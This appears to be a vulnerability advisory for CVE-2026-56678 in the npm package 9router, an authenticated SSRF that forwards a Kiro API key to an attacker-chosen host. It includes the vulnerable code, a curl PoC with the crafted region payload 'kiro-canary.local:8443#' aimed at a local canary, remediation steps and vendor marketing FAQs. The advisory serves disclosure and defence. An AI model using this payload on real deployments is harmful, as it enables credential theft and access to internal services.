Summary
9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
The Kiro API-key validation endpoint builds an upstream URL using a user-controlledregion value. By supplying a crafted region such as kiro-canary.local:8443#, an
authenticated attacker can cause 9router to send the Kiro validation request to an
attacker-controlled host under the constructed codewhisperer.<region> hostname. The
request forwards the submitted Kiro API key as an Authorization: Bearer header.
Details
- Affected version / commit: 9router v0.5.2 @
5da508a. - Endpoint:
POST /api/oauth/kiro/api-key. - Correct runtime payload:
region: "kiro-canary.local:8443#". - Do not use the old
@host#payload (region: "@kiro-canary.local:8443#"); it is
blocked by Node/undicifetch()because it creates URL credentials
("Request cannot be constructed from a URL that includes credentials"). - Constructed upstream host becomes:
codewhisperer.kiro-canary.local:8443
(the#turns the trailing.amazonaws.cominto a URL fragment). - HTTPS canary captured:
Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. - TLS verification was not globally disabled; the reproduction uses a local CA via
NODE_EXTRA_CA_CERTS. - The no-auth control returns 401, so this standalone issue is authenticated.
SameSite=Laxon the session cookie prevents cross-site POST cookie delivery, so do
not claim drive-by CSRF unless another same-site / auth-bypass primitive is
chained.
Root cause. The route reads region straight from the request body and passes it,
unvalidated, into the upstream URL template; the bearer credential is forwarded to that
host, and the upstream response body is reflected back to the client on error:
// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body
}
// src/lib/oauth/services/kiro.js, listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated
const response = await fetch(endpoint, {
method: "POST",
headers: {
"x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
"Authorization": `Bearer ${accessToken}`, // credential forwarded
...
},
body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
const error = await response.text();
throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message
}
There is no allowlist on region, and the call uses the default fetch dispatcher (no
internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves
to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.
PoC
Start the package:
docker compose up --build
The endpoint is authenticated, so first obtain a dashboard session using the password
configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:
curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
-H "Content-Type: application/json" \
-d '{"password":"repro-dashboard-pass"}'
Then send the region-injection request with that session cookie:
curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected:
- 9router returns a 500 whose body contains a controlled canary marker, indicating the
validation request reached the canary and its response was reflected. docker compose logs kiro-canaryshows a request with:Host: codewhisperer.kiro-canary.local:8443Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO
No-auth control (no session cookie):
curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected: 401 Unauthorized.
Safe-region control (region: "us-east-1"): no canary hit; the blackholed AWS host is
never contacted.
Screenshots
The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.
1. Safe-region control, normal Kiro validation path
An authenticated request to /api/oauth/kiro/api-key using the valid region us-east-1 and a dummy API key completes normally with 200 OK. This establishes the expected non-malicious validation path.
2. Region-injection SSRF trigger, canary marker reflected
An authenticated request supplies the crafted region value kiro-canary.local:8443#. Because the upstream URL is built from the raw region value, the request is routed to the attacker-controlled canary host under the constructed codewhisperer.<attacker-domain> hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.
3. HTTPS canary evidence, Authorization header forwarded
The HTTPS canary logs show a server-side request from the 9router container with Host: codewhisperer.kiro-canary.local:8443 and Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.
4. No-auth control, endpoint requires authentication
The same region-injection payload is sent without an authenticated session cookie, and the server returns 401 Unauthorized. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.
Impact
An authenticated attacker can make the server send a Kiro validation request to an
attacker-controlled host and forward the submitted Kiro API key in the Authorization
header. This can be used for SSRF and credential forwarding during Kiro API-key
validation. The issue is authenticated as a standalone bug.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-56678 has a CVSS score of 6.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Validate
regionagainst a strict allowlist of known Kiro/AWS regions
(e.g.^[a-z]{2}-[a-z]+-\d$). - Construct upstream endpoints only from fixed enum values.
- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or
hostname separators. - After URL construction, validate that the final hostname exactly matches the expected
AWS/Kiro hostname pattern. - Do not forward Authorization headers to hosts derived from untrusted input, and stop
reflecting upstream response bodies inerror.message.
Frequently Asked Questions
- What is CVE-2026-56678? CVE-2026-56678 is a medium-severity improper input validation vulnerability in 9router (npm), affecting versions <= 0.5.2. It is fixed in 0.5.6. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-56678? CVE-2026-56678 has a CVSS score of 6.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of 9router are affected by CVE-2026-56678? 9router (npm) versions <= 0.5.2 is affected.
- Is there a fix for CVE-2026-56678? Yes. CVE-2026-56678 is fixed in 0.5.6. Upgrade to this version or later.
- Is CVE-2026-56678 exploitable, and should I be worried? Whether CVE-2026-56678 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-56678 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-56678? Upgrade
9routerto 0.5.6 or later.